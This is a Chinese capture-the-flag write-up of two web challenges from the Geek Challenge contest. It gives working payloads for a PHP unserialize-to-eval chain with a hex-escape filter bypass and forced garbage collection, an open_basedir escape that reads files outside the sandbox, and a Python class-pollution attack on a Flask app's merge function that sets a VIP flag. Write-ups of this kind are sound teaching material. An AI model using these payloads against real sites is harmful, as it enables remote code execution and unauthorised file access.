极客大挑战
ez_remove
<?php
highlight_file(__FILE__);
class syc{
public $lover;
public function __destruct()
{
eval($this->lover);
}
}
if(isset($_GET['web'])){
if(!preg_match('/lover/i',$_GET['web'])){
$a=unserialize($_GET['web']);
throw new Error("快来玩快来玩~");
}
else{
echo("nonono");
}
}
?>
考点:这道题首先对于类中的属性进行过滤,这里可以用16进制进行绕过。
再就是GC回收机制,最后是open_basedir绕过(参考链接:https://blog.csdn.net/unexpectedthing/article/details/125577789)
首先我们绕过对于属性的过滤以及GC回收机制
<?php
class syc{
public $lover;
}
$a=new syc();
$a->lover="phpinfo();";
$n=null;
$b=array($a,$n);
echo (serialize($b));
?>
得到:a:2:{i:0;O:3:"syc":1:{s:5:"lover";s:10:"phpinfo();";}i:1;N;}
然后我们进行16进制绕过类中属性的检测以及GC回收机制(GC回收机制具体操作可以看我之前一篇文章)
修改后:a:2:{i:0;O:3:"syc":1:{S:5:"\6Cover";s:10:"phpinfo();";}i:0;N;}
可以看到禁用好多命令执行的函数,并且用open_basedir限定到了当前目录,所以说我们要进行绕过open_basedir来获得flag
<?php
class syc{
public $lover;
}
$a=new syc();
$a->lover='$a=new FilesystemIterator(\'glob:///f*\');foreach($a as $d){echo $d->__toString()."";}';
$n=null;
$b=array($a,$n);
echo (serialize($b));
?>
得到:a:2:{i:0;O:3:"syc":1:{s:5:"lover";s:84:"$a=new FilesystemIterator('glob:///f*');foreach($a as $d){echo $d->__toString()."";}";}i:1;N;}
修改后:a:2:{i:0;O:3:"syc":1:{S:5:"\6Cover";s:84:"$a=new FilesystemIterator('glob:///f*');foreach($a as $d){echo $d->__toString()."";}";}i:;N;}
可以看到找了的flag
然后读取flag
<?php
class syc{
public $lover;
}
$a=new syc();
$a->lover="mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/f1ger');";
$n=null;
$b=array($a,$n);
echo (serialize($b));
?>
得到 a:2:{i:0;O:3:"syc":1:{s:5:"lover";s:166:"mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/f1ger');";}i:1;N;}
修改后:a:2:{i:0;O:3:"syc":1:{S:5:"\6Cover";s:166:"mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/f1ger');";}i:0;N;}
传入修改后的payload就可以获得flag
ezpython
考点:python原型链污染
参考链接:https://tttang.com/archive/1876/
下载附件:
import json import os from waf import waf import importlib from flask import Flask,render_template,request,redirect,url_for,session,render_template_string app = Flask(__name__) app.secret_key='jjjjggggggreekchallenge202333333' class User(): def __init__(self): self.username="" self.password="" self.isvip=False class hhh(User): def __init__(self): self.username="" self.password="" registered_users=[] @app.route('/') def hello_world(): # put application's code here return render_template("welcome.html") @app.route('/play') def play(): username=session.get('username') if username: return render_template('index.html',name=username) else: return redirect(url_for('login')) @app.route('/login',methods=['GET','POST']) def login(): if request.method == 'POST': username=request.form.get('username') password=request.form.get('password') user = next((user for user in registered_users if user.username == username and user.password == password), None) if user: session['username'] = user.username session['password']=user.password return redirect(url_for('play')) else: return "Invalid login" return redirect(url_for('play')) return render_template("login.html") @app.route('/register',methods=['GET','POST']) def register(): if request.method == 'POST': try: if waf(request.data): return "fuck payload!Hacker!!!" data=json.loads(request.data) if "username" not in data or "password" not in data: return "连用户名密码都没有你注册啥呢" user=hhh() merge(data,user) registered_users.append(user) except Exception as e: return "泰酷辣,没有注册成功捏" return redirect(url_for('login')) else: return render_template("register.html") @app.route('/flag',methods=['GET']) def flag(): user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None) if user: if user.isvip: data=request.args.get('num') if data: if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10: flag = os.environ.get('geek_flag') return render_template('flag.html',flag=flag) else: return "你的数字不对哦!" else: return "I need a num!!!" else: return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>') else: return "先登录去" def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) if __name__ == '__main__': app.run(host="0.0.0.0",port="8888")
flag路由:
可以看到对于user进行了验证,如果isvip为真的时候就进行一个get请求,然后进行下一步操作
register路由:
看到如果注册成功的话,实例化了hhh()类
接着往下看:
看到类User为类hhh的父类,并且hhh类没有isvip这个属性,这也就是为什么如果你直接在/register注册完用户后再进行登陆,最后访问/flag路由的话页面会返回500,因为hhh类中没有isvip属性,所以当你注册完成登陆之后访问/flag路由的话是无法判断if user.isvip的,所以此时会报一个500的错误。
这里的话需要明白一个知识点:就是进行原型链污染的话可以对于类的属性值进行污染,这里的话如果进行污染,是会在当前类创造出一个属性
例:
class father: secret = "haha" class son_b(father): pass def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) instance = son_b() payload = { "secret":"1", "username":"kode" } print(instance.secret) #haha merge(payload, instance) print(instance.secret) #1 print(instance.username) #kode
看这串代码,如果我们没有进行污染的话实例化son_b类后其实是没有username这个属性的,但是我们污染之后,可以看到username属性从无到有,并且可以篡改他的属性值。
这个就是我们污染后的结果
因此,这道题的话,我们可以进行污染,然后使得实例化后的hhh类有isvip这个属性这样我们就能进行下一步操作
在/register路由post传入:
{"username":"22","password":"22",
"\u0069\u0073\u0076\u0069\u0070":"1"
}
然后登陆并且访问/flag路由,
接着get传入?num=123456789便可以获得flag。(这里的数字是全角进行绕过)